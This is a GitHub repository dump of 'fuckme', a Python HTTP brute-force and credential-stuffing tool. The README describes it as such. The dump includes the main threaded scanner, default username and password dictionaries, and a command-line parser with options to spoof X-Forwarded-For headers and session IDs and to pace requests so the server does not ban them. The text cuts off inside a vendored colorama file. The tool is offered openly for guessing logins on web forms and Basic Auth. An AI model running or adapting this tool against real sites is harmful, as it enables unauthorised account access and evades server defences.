├── .DS_Store ├── LICENSE ├── README.md ├── dict ├── password.txt └── user.txt ├── fuckme.py └── lib ├── .DS_Store ├── __init__.py ├── __init__.pyc ├── cmdline.py ├── cmdline.pyc ├── colorama ├── __init__.py ├── __init__.pyc ├── ansi.py ├── ansi.pyc ├── ansitowin32.py ├── ansitowin32.pyc ├── initialise.py ├── initialise.pyc ├── win32.py ├── win32.pyc ├── winterm.py └── winterm.pyc ├── consle_width.py ├── consle_width.pyc ├── console_width.py ├── encodings.py ├── encodings.pyc ├── proxy.py ├── proxy.pyc ├── queue.py ├── queue.pyc ├── request.py ├── request.pyc ├── request_file.py └── request_file.pyc /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/.DS_Store -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | fuckme 2 | === 3 | **fuckme** 一个简单的HTTP暴力破解、撞库攻击 4 | 5 | - 可调控delay 6 | - 支持basic auth 7 | - 支持载入http请求 8 | 9 | 10 | ### To do 11 | 处理request逻辑 12 | 处理队列文件 13 | 处理灵异bug。。。 14 | -------------------------------------------------------------------------------- /dict/password.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | {user}123456 3 | -------------------------------------------------------------------------------- /dict/user.txt: -------------------------------------------------------------------------------- 1 | admin 2 | -------------------------------------------------------------------------------- /fuckme.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | fuckme 6 | A simple HTTP(s) weak pass scanner 7 | By redrain 8 | ''' 9 | 10 | import threading 11 | import time 12 | 13 | from lib.cmdline import parse_args 14 | from lib.consle_width import getTerminalSize 15 | # from lib.proxy import load_proxy 16 | from lib.queue import gen_queue 17 | from lib.request_file import parse_request 18 | from lib.request import do_request 19 | from lib.colorama import init, Fore, Back, Style 20 | 21 | class Scanner(): 22 | def __init__(self): 23 | init() 24 | self.console_width = getTerminalSize()[0] - 2 25 | self.lock = threading.Lock() 26 | self.STOP_ME = False 27 | parse_args(self) 28 | # load_proxy(self) 29 | self.gen_params_queue() 30 | parse_request(self) 31 | 32 | def gen_params_queue(self): 33 | self.queue_thread = threading.Thread(target=gen_queue, args=(self,)) 34 | self.queue_thread.start() 35 | 36 | def print_s(self, s, color_red=False): 37 | self.lock.acquire() 38 | print Fore.MAGENTA + s if color_red else Fore.RESET + s 39 | self.lock.release() 40 | 41 | def now_time(self): 42 | return time.strftime('%H:%M:%S', time.localtime()) 43 | 44 | def run(self): 45 | self.start_time = time.time() 46 | self.cracked_count = 0 47 | self.print_s('Fuckme at %s' % self.now_time() + '\n' + '*' * s.console_width) 48 | for i in range(self.args.t): 49 | t = threading.Thread(target=do_request, args=(s,)) 50 | t.setDaemon(True) 51 | t.start() 52 | try: 53 | while s.request_thread_count > 0: 54 | time.sleep(0.1) 55 | s.print_s('_' * s.console_width + '\nTask finished at %s. Cost %.2f seconds' % 56 | (self.now_time(), time.time() - s.start_time) ) 57 | except KeyboardInterrupt, e: 58 | s.STOP_ME = True 59 | time.sleep(1.0) 60 | s.print_s('_' * s.console_width + '\n[KeyboardInterrupt] \nTask aborted at %s, cost %.2f seconds' % 61 | (self.now_time(), time.time() - s.start_time) ) 62 | 63 | 64 | s.print_s('Cracked %s item(s) in total.' % s.cracked_count if s.cracked_count else 'No one was cracked.') 65 | 66 | 67 | s = Scanner() 68 | s.run() 69 | -------------------------------------------------------------------------------- /lib/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/.DS_Store -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/__init__.py -------------------------------------------------------------------------------- /lib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/__init__.pyc -------------------------------------------------------------------------------- /lib/cmdline.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # Parse command line arguments and decode string 4 | # 5 | 6 | import argparse 7 | import sys 8 | from lib.encodings import system_decode 9 | import os 10 | import pprint 11 | 12 | 13 | def parse_args(self): 14 | parser = argparse.ArgumentParser(prog='fuckme', 15 | formatter_class=argparse.RawTextHelpFormatter, 16 | description='* fuckme By redrain *', 17 | usage='fuckme.py [options]') 18 | 19 | target = parser.add_argument_group('Target') 20 | target.add_argument('-u', metavar='REQUESTURL', type=str, 21 | help='Set URL, e.g.\n-u="https://www.hackdog.me/login.php"') 22 | target.add_argument('-f', metavar='REQUESTFILE', type=str, 23 | help='Load request file') 24 | target.add_argument('-https', default=False, action='store_true', 25 | help='Load request file when the SSL enable') 26 | target.add_argument('-get', default=False, 27 | action='store_true', 28 | help='Set method GET. default: POST') 29 | target.add_argument('-basic', metavar='',type=str, nargs='+', 30 | help='HTTP Basic Auth, \ne.g. -basic users.dic pass.dic') 31 | 32 | dictionary = parser.add_argument_group('Dictionary') 33 | dictionary.add_argument('-d', metavar='Param=DictFile', type=str, nargs='+', 34 | help='Set dict file for parameters, \n' + \ 35 | 'support hash functions like md5, 16_md5. \n' + \ 36 | 'e.g. -d user=users.dic pass=md5(pass.dic)') 37 | 38 | proxy_spoof = parser.add_argument_group('Spoof') 39 | proxy_spoof.add_argument('-fip', default=False, action='store_true', 40 | help='random XFF') 41 | proxy_spoof.add_argument('-fsid', type=str, 42 | help='random session') 43 | proxy_spoof.add_argument('-sleep', metavar='SECONDS', type=str, default='', 44 | help='delay(防止server ban请求)') 45 | 46 | detect = parser.add_argument_group('爆破标记(编不下去英文了。。。)') 47 | detect.add_argument('-no302', default=False, action='store_true', 48 | help='忽略302条转') 49 | detect.add_argument('-err', metavar='ERR', default='', type=str, nargs='+', 50 | help='爆破失败标记, \ne.g. -err "密码错误"') 51 | detect.add_argument('-suc', metavar='SUC', default='', type=str, nargs='+', 52 | help='爆破成功标记, \ne.g. -suc "登录成功"') 53 | detect.add_argument('-herr', metavar='HERR', default='', type=str, 54 | help='http头中的失败标记') 55 | detect.add_argument('-hsuc', metavar='HSUC', default='', type=str, 56 | help='http头中的成功标记') 57 | 58 | general = parser.add_argument_group('Other') 59 | general.add_argument('-t', metavar='THREADS', type=int, default=50, 60 | help='Threads. default:50') 61 | general.add_argument('-o', metavar='OUTPUT', type=str, default='fucku.passwd.txt', 62 | help='Output file. default: fucku.passwd.txt') 63 | general.add_argument('-debug', default=False, action='store_true', 64 | help='Go to debug mode to check request and response') 65 | general.add_argument('-nov', default=False, action='store_true', 66 | help='quiet mode') 67 | general.add_argument('-v', action='version', version='%(prog)s 0.0.3') 68 | 69 | 70 | if len(sys.argv) == 1: 71 | sys.argv.append('-h') 72 | args = parser.parse_args() 73 | 74 | if args.err: 75 | for i in range(len(args.err)): 76 | args.err[i] = system_decode(args.err[i]) 77 | if args.suc: 78 | for i in range(len(args.suc)): 79 | args.suc[i] = system_decode(args.suc[i]) 80 | 81 | check_args(args) 82 | self.args = args 83 | 84 | if self.args.debug: 85 | self.args.t = 1 # thread set to 1 in debug mode 86 | self.lock.acquire() 87 | print '*' * self.console_width 88 | print '[Parsed Arguments]\n' 89 | pprint.pprint(self.args.__dict__) 90 | print '\n' + '*' * self.console_width 91 | self.lock.release() 92 | 93 | self.request_thread_count = self.args.t 94 | 95 | 96 | def check_args(args): 97 | if not args.f and not args.u: 98 | msg = 'Both RequestFILE and RequestURL were not set!\n' + \ 99 | ' ' * 11 + 'Use -f or -u to set one' 100 | raise Exception(msg) 101 | 102 | if args.basic: 103 | if len(args.basic) != 2: 104 | msg = 'Two dict files are required. e.g. -basic users.dic pass.dic' 105 | raise Exception(msg) 106 | 107 | for df in args.basic: 108 | if not os.path.exists(df): 109 | raise Exception('Dict file not found: %s' % df) 110 | 111 | if not args.basic and not args.d: 112 | raise Exception('Please check dict files. e.g. -d user=users.dic pass=md5(pass.dic)') 113 | 114 | if os.path.exists('fucku.passwd.txt'): 115 | os.remove('fucku.passwd.txt') 116 | 117 | -------------------------------------------------------------------------------- /lib/cmdline.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/cmdline.pyc -------------------------------------------------------------------------------- /lib/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.3.3' 7 | 8 | -------------------------------------------------------------------------------- /lib/colorama/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/colorama/__init__.pyc -------------------------------------------------------------------------------- /lib/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | ''' 3 | This module generates ANSI character codes to printing colors to terminals. 4 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 5 | ''' 6 | 7 | CSI = '\033[' 8 | OSC = '\033]' 9 | BEL = '\007' 10 | 11 | 12 | def code_to_chars(code): 13 | return CSI + str(code) + 'm' 14 | 15 | 16 | class AnsiCodes(object): 17 | def __init__(self, codes): 18 | for name in dir(codes): 19 | if not name.startswith('_'): 20 | value = getattr(codes, name) 21 | setattr(self, name, code_to_chars(value)) 22 | 23 | 24 | class AnsiCursor(object): 25 | def UP(self, n=1): 26 | return CSI + str(n) + "A" 27 | def DOWN(self, n=1): 28 | return CSI + str(n) + "B" 29 | def FORWARD(self, n=1): 30 | return CSI + str(n) + "C" 31 | def BACK(self, n=1): 32 | return CSI + str(n) + "D" 33 | def POS(self, x=1, y=1): 34 | return CSI + str(y) + ";" + str(x) + "H" 35 | 36 | def set_title(title): 37 | return OSC + "2;" + title + BEL 38 | 39 | def clear_screen(mode=2): 40 | return CSI + str(mode) + "J" 41 | 42 | def clear_line(mode=2): 43 | return CSI + str(mode) + "K" 44 | 45 | 46 | class AnsiFore: 47 | BLACK = 30 48 | RED = 31 49 | GREEN = 32 50 | YELLOW = 33 51 | BLUE = 34 52 | MAGENTA = 35 53 | CYAN = 36 54 | WHITE = 37 55 | RESET = 39 56 | 57 | # These are fairly well supported, but not part of the standard. 58 | LIGHTBLACK_EX = 90 59 | LIGHTRED_EX = 91 60 | LIGHTGREEN_EX = 92 61 | LIGHTYELLOW_EX = 93 62 | LIGHTBLUE_EX = 94 63 | LIGHTMAGENTA_EX = 95 64 | LIGHTCYAN_EX = 96 65 | LIGHTWHITE_EX = 97 66 | 67 | 68 | class AnsiBack: 69 | BLACK = 40 70 | RED = 41 71 | GREEN = 42 72 | YELLOW = 43 73 | BLUE = 44 74 | MAGENTA = 45 75 | CYAN = 46 76 | WHITE = 47 77 | RESET = 49 78 | 79 | # These are fairly well supported, but not part of the standard. 80 | LIGHTBLACK_EX = 100 81 | LIGHTRED_EX = 101 82 | LIGHTGREEN_EX = 102 83 | LIGHTYELLOW_EX = 103 84 | LIGHTBLUE_EX = 104 85 | LIGHTMAGENTA_EX = 105 86 | LIGHTCYAN_EX = 106 87 | LIGHTWHITE_EX = 107 88 | 89 | 90 | class AnsiStyle: 91 | BRIGHT = 1 92 | DIM = 2 93 | NORMAL = 22 94 | RESET_ALL = 0 95 | 96 | Fore = AnsiCodes( AnsiFore ) 97 | Back = AnsiCodes( AnsiBack ) 98 | Style = AnsiCodes( AnsiStyle ) 99 | Cursor = AnsiCursor() 100 | -------------------------------------------------------------------------------- /lib/colorama/ansi.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/colorama/ansi.pyc -------------------------------------------------------------------------------- /lib/colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import re 3 | import sys 4 | import os 5 | 6 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 7 | from .winterm import WinTerm, WinColor, WinStyle 8 | from .win32 import windll 9 | 10 | 11 | winterm = None 12 | if windll is not None: 13 | winterm = WinTerm() 14 | 15 | 16 | def is_a_tty(stream): 17 | return hasattr(stream, 'isatty') and stream.isatty() 18 | 19 | 20 | class StreamWrapper(object): 21 | ''' 22 | Wraps a stream (such as stdout), acting as a transparent proxy for all 23 | attribute access apart from method 'write()', which is delegated to our 24 | Converter instance. 25 | ''' 26 | def __init__(self, wrapped, converter): 27 | # double-underscore everything to prevent clashes with names of 28 | # attributes on the wrapped stream object. 29 | self.__wrapped = wrapped 30 | self.__convertor = converter 31 | 32 | def __getattr__(self, name): 33 | return getattr(self.__wrapped, name) 34 | 35 | def write(self, text): 36 | self.__convertor.write(text) 37 | 38 | 39 | class AnsiToWin32(object): 40 | ''' 41 | Implements a 'write()' method which, on Windows, will strip ANSI character 42 | sequences from the text, and if outputting to a tty, will convert them into 43 | win32 function calls. 44 | ''' 45 | ANSI_CSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])') # Control Sequence Introducer 46 | ANSI_OSC_RE = re.compile('\033\]((?:.|;)*?)(\x07)') # Operating System Command 47 | 48 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 49 | # The wrapped stream (normally sys.stdout or sys.stderr) 50 | self.wrapped = wrapped 51 | 52 | # should we reset colors to defaults after every .write() 53 | self.autoreset = autoreset 54 | 55 | # create the proxy wrapping our output stream 56 | self.stream = StreamWrapper(wrapped, self) 57 | 58 | on_windows = os.name == 'nt' 59 | on_emulated_windows = on_windows and 'TERM' in os.environ 60 | 61 | # should we strip ANSI sequences from our output? 62 | if strip is None: 63 | strip = on_windows and not on_emulated_windows 64 | self.strip = strip 65 | 66 | # should we should convert ANSI sequences into win32 calls? 67 | if convert is None: 68 | convert = on_windows and not wrapped.closed and not on_emulated_windows and is_a_tty(wrapped) 69 | self.convert = convert 70 | 71 | # dict of ansi codes to win32 functions and parameters 72 | self.win32_calls = self.get_win32_calls() 73 | 74 | # are we wrapping stderr? 75 | self.on_stderr = self.wrapped is sys.stderr 76 | 77 | def should_wrap(self): 78 | ''' 79 | True if this class is actually needed. If false, then the output 80 | stream will not be affected, nor will win32 calls be issued, so 81 | wrapping stdout is not actually required. This will generally be 82 | False on non-Windows platforms, unless optional functionality like 83 | autoreset has been requested using kwargs to init() 84 | ''' 85 | return self.convert or self.strip or self.autoreset 86 | 87 | def get_win32_calls(self): 88 | if self.convert and winterm: 89 | return { 90 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 91 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 92 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 93 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 94 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 95 | AnsiFore.RED: (winterm.fore, WinColor.RED), 96 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 97 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 98 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 99 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 100 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 101 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 102 | AnsiFore.RESET: (winterm.fore, ), 103 | AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), 104 | AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), 105 | AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), 106 | AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), 107 | AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), 108 | AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), 109 | 